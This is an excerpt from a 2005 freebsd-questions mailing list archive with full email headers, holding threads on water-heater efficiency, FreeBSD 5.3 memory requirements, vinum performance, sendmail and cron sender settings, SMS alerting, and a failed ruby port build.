freebsd questions mailing list. Since they are replies to other peoples emails, it includes bits of what they wrote, but it may be relavent to understanding my reply. Now, of course I'll remove all headers and mangle all email addresses, but, since it includes their ideas, can I still post it on a website for others to read who may be having the same problems? > > > -- > Anthony > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 06:02:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ECD7516A4CE for ; Wed, 9 Feb 2005 06:02:39 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3BF4743D2D for ; Wed, 9 Feb 2005 06:02:39 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1962Tj13124; Tue, 8 Feb 2005 22:02:33 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Chad Leigh -- Shire.Net LLC" , "Henry Miller" Date: Tue, 8 Feb 2005 22:02:27 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <6EE4571F-79FD-11D9-B134-000D933E3CEC@shire.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: freebsd-questions@freebsd.org Subject: RE: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 06:02:40 -0000 My apologies to posting to this to the list, but I cannot sit by and let such a crock of misinformation pass without comment. It will be my last post on this topic here. > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Chad Leigh -- > Shire.Net LLC > Sent: Tuesday, February 08, 2005 10:16 AM > To: Henry Miller > Cc: freebsd-questions@freebsd.org; Ted Mittelstaedt > Subject: Re: Electricity bill - OT > > >>> > >>> This is a gimmick built to sell houses, a cool one, but only in hot > >>> climates does it make much difference. In cooler climates the heat > >>> from the standing water in the pipes just makes the furnace run > > less, > >>> thus the savings are a wash. > >> > >> That does not make sense. The savings is in running the hot water > >> heater less. No. The savings is in dumping heat into the atmosphere at a slower rate of speed. If your water pipes are insulated then the heat that passes out of them into the interior of the house does so at a slower rate. If the house is insulated then the heat from the interior of the house (some of which is heat that comes from the water pipes) will be lost more slowly. >>> Houses that care about energy efficiency have the hot >>> water pipes insulated anyway so it would not help in cooler climes. That is not true. All insulation does is reduce the speed at which the heat is lost, it does not stop it. Over a 24 hour period a hot water pipe will cool down to room temp. Without insulation it may take an hour. With insulation it may take 10 hours. But it will lose the heat. And even if the insulation is perfect, the pipe is connected to taps at the sink and such that are not insulated and will act as heat sinks and draw the heat out of the pipes. > >> The goal is to run the hot water heater less, which you achieve when > >> you constantly circulate the hot water through the hot water pipes, > >> instead of letting it get cold and have to run a ton when > you need a > >> lot of water. > > > > That does not make sense. IF the pipes were perfectly > insulated there > > would be no need for this loop because the water in the > pipes would be > > hot. However there is no perfect insulation, so you keep > the water in > > the pipes warm by re-circulating it. Each time water goes > through the > > pipes it loses a little heat, which the water heater then has to make > > up for. So these loops waste energy, but it is considered worth it > > because you get hot water without having to wait. > > The data I saw a year or two ago showed that these were more energy > efficient than the standard model of waiting for a minute or two for > the hot water to purge the colder water from the pipes. The data you are looking at was almost certainly from the vendor of the recirculating system which is going to setup a test skewed to show their product in the best light. For example use insulated pipes in the recirculating system and non-insulated pipes in the standing water system. Or raise the water temp 10 degrees in the standard house - hotter pipes lose heat faster because the thermal difference is higher. Another thing is that a lot of these systems are going to flexible plastic piping that use friction quick disconnects (so any moron can put it together) The plastic is supposedly rated for 50 years or so, yadda yadda. Such a system is going to lose heat more slowly than a copper pipe solution because plastic is a poorer thermal conductor than copper (remember they make radiators out of brass) all other things being equal. If all things are equal, a recirculating system is going to be a worse system than a non-recirculating system. The reason is that for each foot of water pipe in the system there is a certain amount of heat lost. If you insulate then the heat loss is less - but it still exists. A recirculating system has more pipe and it keeps the pipe hotter so the thermal difference means the entire system loses heat faster. Think of it this way - you have 50 feet from the shower and the water heater. In a standing water system this is charged with 2 gallons of hot water. When the 50 feet of pipe is at rest, the 2 gallons in it lose 10 degrees an hour. You have your water heater at 110 degrees and your room temp at 70 degrees. When you turn off the shower it takes 4 hours to cool down to room temp. After that time the water loses no heat. So, in effect your dumping heat for 4 hours from the pipes. When you go to take a shower 24 hours later, you have to dump 2 gallons of cold water from the shower before it's warm. In a recirculating system since you have a return pipe you have 100 feet of pipe. (50 foot out, and 50 foot back) The water in the pipe is kept at 110 degrees. When you take a shower you can get in immediately without having to dump the 2 gallons of hot water that cooled down to 70 degrees. But, wait. That 100 feet of pipe has been maintained at 110 for 24 hours. Like the other system it is losing heat at the same rate - 10 degrees an hour. (actually faster because since the thermal difference is kept higher, the heat loss rate is higher) But, it's losing that 10 degrees on 4 gallons of water - and it's doing it 24 hours, not 4 hours. It has added > benefits, and the benefits may be related to this (ie, constantly > circulating water means you run it less which may be where the savings > come in). I do not have the data in front of me now, but it was an > interesting proposition. And more energy efficient. Not a gimmick. > It IS a gimmick. It is a shame that they don't teach kids logic in school these days (actually, they didn't 20 years ago when I was in school, either) as 20 minutes of rather enjoyable deductive reasoning could have shown you that the premise is full of baloney. Where the savings from the new system to the old system are going to come in is: insulated pipes, flow restrictors, better positioning of the water heater in relation to the hot water consumers (no 50 foot runs of hot water pipe) lower water temperatures, more efficient water heater. But, you can have all these things in a standing water system too and save even more money than the recirculating system. And even if the premise were true, it's going to be blown out of the water by human use. For example some people like cold showers in the morning it helps them wake up. Lots of people will turn on their washing machine right after the shower while the pipes are still hot, on their way out the door to go to work. People often take showers one after another so little loss occurs. Some earth-mother types will take a watering can into the bathroom and dump the purge gallon into it to water the plants because they can't bear to waste a cup of water. Some people can't stand cold showers so will jack the water heater up to 160 degrees (that's me). Others have 4 kids all wanting to take showers in the morning and so are forced to jack up the water heater temp in order to have enough hot water. > > > > >>> > >>>> Also, the new > >>>> tankless HW heaters look interesting... > >>>> > >>> > >>> those have been around for at least 20 years. As most of them are > >>> electric, not natural gas, your going to pay more money for heating > >>> water with a bunch of those than with a central gas water heater. > >>> > >> > >> The ones I have seen, the newer models, are GAS and are very > > efficient. > >> Maybe you need to get out more? > > > > I've seen both types. Both have been around for 20 years. > > Computers have been around about 50 years, but to compare todays > computers to those of 50 years go is ridiculous. Do you not think > that mayb e hot water technology has advanced some in 20 years? No it actually hasn't - much that is. As I have a 90% efficient furnace and an expensive efficient water heater that cost 4 times more than the ordinary kind, I can tell you what the so-called advances are in heating water: 1) adding timers to electric water heaters so that the heater doesen't run all day long. 2) more and better insulation in the water heater. 3) Better sacrifical anode design so that the inside of the heater doesen't rust out as quickly. In fact one of the biggest secrets in the business is that if you want your water heater to last forever, just replace the sacrifical anode periodically, before it's completely eaten up, because once it's eaten up the tank starts rusting. 4) For gas-burners, ducting the intake air around the flue and pulling it from the outside of the house, so that your not dumping all the inside air that your furnace has heated up, out the water heater's flue. 5) Better heat-exchanger design for gas burners which lowers the flue exit temp so that more of the generated heat goes to the water. 6) Electronic spark ignition systems on gas burners so that there's no pilot light. 7) A realization by home designers that it's a waste of energy to put the water heater far away from the bathrooms. Modern home designs situate all the sinks, bathrooms, washer/dryer, dishwasher in close vicinity to the water heater. They also avoid running long runs of water pipe in exterior walls. 8) Use of solar collector pre-heaters on the roof. 9) Manufacturing dishwashers that have heaters in them so that the dishwasher heats up the water to washing temperature, so that you can run lower hot water temperatures in your hot water heater. 10) A massive publicity campaign to try to get people to turn down the thermostats on their hot water heaters. > > > Electric > > ones seem more common, but to replace a tank type water > heater you need > > 80 amp service to it, which is difficult to work with so few people > > have or use them. > > I was specifically refering to new technology, I believe gas based, > tankless water heaters that are more energy efficient and can lower > your energy needs. The Bosch AquaStar line is rated at a maximum efficiency of .66 - .78 energy factor, here is the link: http://www.controlledenergy.com/html/aquastar/design_features.html The tanked units on this page range from .62 to .65 energy factor http://www.aceee.org/consumerguide/topwater.htm This is not a particularly large difference. The .05 or so difference of the tanked models is simply due to the fact that since they have hot water tanks, those tanks lose heat, whereas a point-of-use model has no heat loss except when it's in operation. But this has to be offset by the increased cost of manufacturing several of these devices instead of just 1 heater, the increased maintainence costs because now you have many things that can break down instead of just one, and you have to run gas piping all over the place, and you have to put in an exhaust vent for each unit. Where the savings comes in is that they are typically used in locations where there are very low infrequent usage of water. And in those situations they save a huge amount of money. But in the typical 2 parent, 2.5 child single family home the point-of-use models save very little. > To compare this to 20 year old technology is > foolish. > Not every industry has technological advances at the rate of the computer industry. Consider that you could take a 100-year-old telephone set and plug it into the telephone network today, and it would still work. Ted From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 06:03:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 79A2816A4CF for ; Wed, 9 Feb 2005 06:03:56 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 19D4D43D49 for ; Wed, 9 Feb 2005 06:03:56 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1963qj13134; Tue, 8 Feb 2005 22:03:53 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Ramiro Aceves" , "Kris Kennaway" Date: Tue, 8 Feb 2005 22:03:51 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <4208FE82.5030808@wanadoo.es> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: questions@freebsd.org Subject: RE: >16MB memory requirement for 5.3 install (Re: cracked outfloppy install) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 06:03:56 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ramiro Aceves > Sent: Tuesday, February 08, 2005 10:02 AM > To: Kris Kennaway > Cc: questions@freebsd.org > Subject: Re: >16MB memory requirement for 5.3 install (Re: cracked > outfloppy install) > > > > > > > Sounds like memory is indeed the issue then - is the original poster > > able to confirm this? If so, one of you should submit a PR > requesting > > that the docs be updated. > > > > Kris > > > Hello Kris. I posted my experiences in the thread "Confirmed: 5.3 > installation do not work with 16 MB RAM" on 11th-january-2005 post to > this list. There was another person that confirmed it there. If you > think so, we can fill a bug report. > I think it is a bug because there are some boneheaded older systems that have broken BIOSes where FreeBSD can only detect 16MB of ram without recompiling the kernel. Ted From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 06:17:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A766916A4CE for ; Wed, 9 Feb 2005 06:17:37 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7088643D45 for ; Wed, 9 Feb 2005 06:17:37 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CylAK-0007WH-NP; Tue, 08 Feb 2005 23:17:35 -0700 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <45638E6B-7A62-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Tue, 8 Feb 2005 23:17:27 -0700 To: "Ted Mittelstaedt" X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: Henry Miller cc: freebsd-questions@freebsd.org Subject: Re: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 06:17:37 -0000 On Feb 8, 2005, at 11:02 PM, Ted Mittelstaedt wrote: > The Bosch AquaStar line is rated at a maximum efficiency of .66 - .78 > energy factor, here is the link: > > http://www.controlledenergy.com/html/aquastar/design_features.html > > The tanked units on this page range from .62 to .65 energy factor > > http://www.aceee.org/consumerguide/topwater.htm > > This is not a particularly large difference. The .05 or so difference > of the tanked models is simply due to the fact that since they have > hot water tanks, those tanks lose heat, whereas a point-of-use > model has no heat loss except when it's in operation. > > But this has to be offset by the increased cost of manufacturing > several > of these devices instead of just 1 heater, the increased maintainence > costs because now you have many things that can break down instead of > just one, and you have to run gas piping all over the place, and you > have to put in an exhaust vent for each unit. You are obviously behind the times, Ted. Here is one that is tankless and only requires one per house (or one per tanked unit replaced). I just found this from googling and have no personal experience with it. It is electric. > Where the savings comes in is that they are typically used in locations > where there are very low infrequent usage of water. And in those > situations they save a huge amount of money. But in the typical 2 > parent, 2.5 child single family home the point-of-use models save > very little. > wrong. see above >> To compare this to 20 year old technology is >> foolish. >> > > Not every industry has technological advances at the rate of the > computer industry. Consider that you could take a 100-year-old > telephone set and plug it into the telephone network today, and it > would still work. We are not talking about phones. Chad From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 06:26:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ECC1B16A4CE for ; Wed, 9 Feb 2005 06:26:42 +0000 (GMT) Received: from web51605.mail.yahoo.com (web51605.mail.yahoo.com [206.190.38.210]) by mx1.FreeBSD.org (Postfix) with SMTP id 5F48443D48 for ; Wed, 9 Feb 2005 06:26:42 +0000 (GMT) (envelope-from jay2xra@yahoo.com) Received: (qmail 42270 invoked by uid 60001); 9 Feb 2005 06:26:41 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=oGAIDly3XcW5QH8cBXve9PP2h6X8ju5MGk84CMKd2if7p/qLOOGKExuodo/oXtEM5NuYWG/5rXmgk+9EHjouvP/voj27l2lwOebW+SISqZDZCv1qDMdzohMdbpvTeAabyl7UJ3ZUWSS6JGAt+vgQOW57BYIHfw6o1jZu95pmHcQ= ; Message-ID: <20050209062641.42268.qmail@web51605.mail.yahoo.com> Received: from [202.90.128.21] by web51605.mail.yahoo.com via HTTP; Tue, 08 Feb 2005 22:26:41 PST Date: Tue, 8 Feb 2005 22:26:41 -0800 (PST) From: Mark Jayson Alvarez To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Using yahoo's free SMS service for nagios and mrtg alert. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 06:26:43 -0000 Good day! Do you know any library or module that can be use for interfacing with the yahoo's api that can send sms messages? I've seen some applications related to yahoo in the ports but I haven't tried one yet, such as libyahoo2, ari-yahoo, jabber-yahoo etc. __________________________________ Do you Yahoo!? The all-new My Yahoo! - Get yours free! http://my.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 06:32:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C983316A4CE for ; Wed, 9 Feb 2005 06:32:33 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id 74A9543D1D for ; Wed, 9 Feb 2005 06:32:33 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 344C212B13E; Wed, 9 Feb 2005 02:32:31 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 40975-04; Wed, 9 Feb 2005 06:32:31 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id A0CB912B13D; Wed, 9 Feb 2005 02:32:30 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 81B07382CD; Wed, 9 Feb 2005 02:32:30 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 80BBA381E3; Wed, 9 Feb 2005 02:32:30 -0400 (AST) Date: Wed, 9 Feb 2005 02:32:30 -0400 (AST) From: "Marc G. Fournier" To: Dan Nelson In-Reply-To: <20050209011528.X94338@ganymede.hub.org> Message-ID: <20050209022929.D94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050209002232.B94338@ganymede.hub.org> <20050209011528.X94338@ganymede.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 06:32:33 -0000 Is there a command that I can run that provide me the syscall/sec value, that I could use in a script? I know vmstat reports it, but is there an easier way the having to parse the output? a perl module maybe, that already does it? Thanks ... On Wed, 9 Feb 2005, Marc G. Fournier wrote: > On Tue, 8 Feb 2005, Dan Nelson wrote: > >> Details on the array's performance, I think. Software RAID5 will >> definitely have poor write performance (logging disks solve that >> problem but vinum doesn't do that), but should have excellent read >> rates. From this output, however: >> >>> systat -v output help: >>> 4 users Load 4.64 5.58 5.77 >> >>> Proc:r p d s w Csw Trp Sys Int Sof Flt >>> 24 9282 949 8414***** 678 349 8198 >> >>> 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl >> >>> Disks da0 da1 da2 da3 da4 pass0 pass1 >>> KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 >>> tps 23 2 4 3 1 0 0 >>> MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 >>> % busy 3 1 1 1 0 0 0 >> >> , it looks like your disks aren't being touched at all. You are doing >> over 99999 syscalls/second, though, which is mighty high. The 50% Sys >> doesn't look good either. You may have a runaway process doing some >> syscall over and over. If this is not an MPSAFE syscall (see >> /sys/kern/syscalls.master ), it will also prevent other processes from >> making non-MPSAFE syscalls, and in 4.x that's most of them. > > Wow, that actually pointed me in the right direction, I think ... I just > killed an http process that was using alot of CPU, and syscalls drop'd down > to a numeric value again ... I'm still curious as to why this only seem sto > affect my Dual-Xeon box though :( > > Thanks ... > > ---- > Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) > Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 06:51:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1569C16A4CE for ; Wed, 9 Feb 2005 06:51:18 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 92D7243D49 for ; Wed, 9 Feb 2005 06:51:17 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j196p1j13275; Tue, 8 Feb 2005 22:51:09 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Ruben de Groot" Date: Tue, 8 Feb 2005 22:51:00 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <20050208124715.GA75895@ei.bzerk.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: Ian Moore cc: freebsd-questions@freebsd.org Subject: RE: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 06:51:18 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ruben de Groot > Sent: Tuesday, February 08, 2005 4:47 AM > To: Ted Mittelstaedt > Cc: Ian Moore; freebsd-questions@freebsd.org > Subject: Re: Sendmail masquerading configuration > > > > > > X-Authentication-Warning: myhost.foo.bar: root set sender to > > someuser using -f > > Sorry, but this simply isn't true. I have just tested this. Warnings > like this might get generated when you remove root from the > TRUSTED_USERS macro; *NOT* when you remove it from EXPOSED_USERS. > Your right, me bad! > > It also makes it harder to troubleshoot when someone external to > > your system is sending bogus junk to you. > > I agree. As I said in the part of my message you snipped: > > "BTW, I agree that masquerading is NOT the proper way to do > these things." > > > And while it's not applicable now, with older versions of sendmail > > this would definitely break all your scripts that used e-mail. > > > > Use of the -f flag is what he needs to do. > > Fine. But the OP's problem concerned mail send by cron. How would you > instruct cron to use the -f flag? (There's a MAILTO environment > variable in cron, but no MAILFROM) > I would probably install src/usr.sbin/ and recompile cron to use the -f flag. The flags are settible in cron/config.h in the source, FreeBSD uses #define MAILARGS "%s -FCronDaemon -odi -oem -oi -t" /*-*/ just change this to #define MAILARGS "%s -FCronDaemon -froot@verizon.net -odi -oem -oi -t" /*-*/ Ted From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 06:56:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3549B16A4CE for ; Wed, 9 Feb 2005 06:56:27 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id B6BEF43D2D for ; Wed, 9 Feb 2005 06:56:26 +0000 (GMT) (envelope-from ippiraman@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so1052988rne for ; Tue, 08 Feb 2005 22:56:26 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=LGLhmn+ekI7W//M7zp3BZaoAZBLCEClZ3Dor+hCVkk9JaC1AETBWW1ieFo24TbopEMruINHuWU+X+ocyL93dzjHKkDtpGmqBaIoDrnCKrYunOB5fCEKoLrxfjAptfQtWtjEx9m3bSY4cY/OPvLvwKTpnhS3NTzG4Sx9VZzL4/N8= Received: by 10.39.1.19 with SMTP id d19mr337655rni; Tue, 08 Feb 2005 22:56:26 -0800 (PST) Received: by 10.38.102.27 with HTTP; Tue, 8 Feb 2005 22:56:25 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 14:56:25 +0800 From: Irvin Piraman To: Mark Jayson Alvarez In-Reply-To: <20050209062641.42268.qmail@web51605.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050209062641.42268.qmail@web51605.mail.yahoo.com> cc: freebsd-questions@freebsd.org Subject: Re: Using yahoo's free SMS service for nagios and mrtg alert. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Irvin Piraman List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 06:56:27 -0000 first thing that comes to mind is kannel... http://www.freebsd.org/cgi/ports.cgi?query=kannel&stype=all hth irvin From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 07:01:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D4D4F16A4CE for ; Wed, 9 Feb 2005 07:01:09 +0000 (GMT) Received: from postfix3-1.free.fr (postfix3-1.free.fr [213.228.0.44]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8F27243D41 for ; Wed, 9 Feb 2005 07:01:09 +0000 (GMT) (envelope-from vincent_bachelier@yahoo.fr) Received: from vincent (ferreol-1-82-66-171-150.fbx.proxad.net [82.66.171.150]) by postfix3-1.free.fr (Postfix) with SMTP id 4FF0117349F for ; Wed, 9 Feb 2005 08:01:08 +0100 (CET) Received: by vincent (sSMTP sendmail emulation); Wed, 9 Feb 2005 08:01:12 +0100 Date: Wed, 9 Feb 2005 08:01:12 +0100 From: Bachelier Vincent To: freebsd-questions@freebsd.org Message-ID: <20050209070112.GB957@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-Operating-System: FreeBSD vincent 5.3-RELEASE FreeBSD 5.3-RELEASE Subject: ruby-1.8.2_2 failed to install under Freebsd 5.3 release on AMD64 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 07:01:09 -0000 Hi, I have a problem to install this programs In fact I want to use port version of portupgrade and it need ruby, but this version wouldn't install This is le log ===> Installing for ruby-1.8.2_2 ===> Generating temporary packing list ===> Checking if lang/ruby18 already installed ./miniruby ./instruby.rb --dest-dir="" --make="make" --mflags=" -j 3" --make-flags=" ARCH=amd64 OPSYS=FreeBSD OSREL=5.3 OSVERSION=503001 PORTOBJFORMAT=elf SYSTEMVERSION= -j 3" --mantype="doc" install -c -p -m 0755 ruby18 /usr/local/bin/ruby18 ./miniruby ./ext/extmk.rb --dest-dir="" --make="make" --mflags=" -j 3" --make-flags=" ARCH=amd64 OPSYS=FreeBSD OSREL=5.3 OSVERSION=503001 PORTOBJFORMAT=elf SYSTEMVERSION= -j 3" install Do you have an idea ? -- Vincent Bachelier Societe : Solintech Site pro: http://www.solintech.fr Project : Ripperwww: http://www.sourceforge.net/projects/ripperwww From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 07:02:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8572C16A4CE for ; Wed, 9 Feb 2005 07:02:47 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2F9A443D1D for ; Wed, 9 Feb 2005 07:02:47 +0000 (GMT) (envelope-from vikashb@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so1042989wri for ; Tue, 08 Feb 2005 23:02:46 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:subject:content-type:content-transfer-encoding; 